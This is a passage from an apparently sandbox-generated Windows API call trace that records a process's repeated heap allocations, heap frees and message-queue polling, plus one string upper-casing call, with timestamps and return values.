0xeaf268 [0134.960] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076868 [0134.960] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1500 [0134.960] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076880 [0134.960] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3d8 [0134.960] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10768c8 [0134.960] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1528 [0134.960] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076928 [0134.960] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2b8 [0134.960] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076940 [0135.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2b50 [0135.010] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0135.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0135.010] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0135.010] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0135.010] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0135.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3f8 [0135.010] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0135.010] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0135.010] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17a8 [0135.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c28 [0135.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf408 [0135.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076da8 [0135.010] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.011] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0135.011] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0135.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0135.011] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0135.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0135.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.011] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.011] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0135.011] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0135.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec750 [0135.011] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0135.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf338 [0135.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec18e8 [0135.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0135.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0135.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2c8 [0135.011] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec31e0 [0135.011] CharUpperBuffW (in: lpsz="DJVLLWQLKATZJRZPICPARXZ", cchLength=0x17 | out: lpsz="DJVLLWQLKATZJRZPICPARXZ") returned 0x17 [0135.012] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec31e0 | out: hHeap=0xe80000) returned 1 [0135.012] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0135.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17f8 [0135.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf378 [0135.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1870 [0135.012] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0135.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0135.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d78 [0135.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0135.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x1) returned 0xeaf388 [0135.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b98 [0135.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0135.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d00 [0135.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0135.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076d90 [0135.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1960 [0135.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0135.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3a8 [0135.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0135.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ca0 [0135.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17d0 [0135.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0135.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3b8 [0135.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0135.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10774f8 [0135.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2f40 [0135.014] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077528 [0135.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0135.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077528 | out: hHeap=0xe80000) returned 1 [0135.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0135.014] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077528 [0135.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2c8 [0135.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077528 | out: hHeap=0xe80000) returned 1 [0135.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0135.014] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1848 [0135.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077528 [0135.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3f8 [0135.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077558 [0135.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0135.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0135.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2c8 [0135.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2c8 | out: hHeap=0xe80000) returned 1 [0135.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec610 [0135.015] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0135.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0135.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0135.015] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9ee0 [0135.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10775d0 [0135.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2c8 [0135.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10775d0 | out: hHeap=0xe80000) returned 1 [0135.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b98 [0135.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10775d0 [0135.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077870 [0135.015] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9e68 [0135.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ae0 [0135.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf3e8 [0135.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ae0 | out: hHeap=0xe80000) returned 1 [0135.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec31e0 [0135.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077c18 [0135.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077b58 [0135.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0135.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b58 | out: hHeap=0xe80000) returned 1 [0135.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0135.016] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.016] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9eb8 [0135.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10779f0 [0135.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0135.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0135.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077c30 [0135.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779f0 | out: hHeap=0xe80000) returned 1 [0135.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077c30 | out: hHeap=0xe80000) returned 1 [0135.017] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9eb8 | out: hHeap=0xe80000) returned 1 [0135.017] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0135.018] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.018] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0135.018] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.018] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0135.018] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec810 [0135.018] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec810 | out: hHeap=0xe80000) returned 1 [0135.019] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0135.020] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.020] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.020] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0135.020] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.020] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0135.020] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.020] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0135.020] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.020] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.020] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0135.021] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0135.021] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0135.021] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0135.021] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.021] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0135.021] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0135.022] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0135.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0135.022] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.022] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec450 [0135.022] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.023] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec450 | out: hHeap=0xe80000) returned 1 [0135.024] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.024] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0135.024] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0135.024] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.024] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.024] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0135.024] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0135.024] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0135.024] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.025] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0135.025] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0135.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.025] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.025] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0135.025] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec4d0 [0135.025] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.025] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec4d0 | out: hHeap=0xe80000) returned 1 [0135.025] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.025] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0135.026] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.026] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0135.026] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7d18 | out: hHeap=0xe80000) returned 1 [0135.026] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.026] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0135.026] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0135.026] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.026] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b48 [0135.026] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ae0 [0135.026] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0135.026] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077ca8 [0135.026] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1077af8 [0135.026] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.026] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.026] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.026] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecad0 | out: hHeap=0xe80000) returned 1 [0135.027] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.027] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.027] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0135.027] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7c78 [0135.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7c78 | out: hHeap=0xe80000) returned 1 [0135.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0135.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0135.027] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0135.027] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.027] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0135.027] PeekMessageW (in: lpMsg=0xbdf12c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf12c) returned 0 [0135.027] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0135.028] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3c8 [0135.028] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7d18 [0135.028] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, 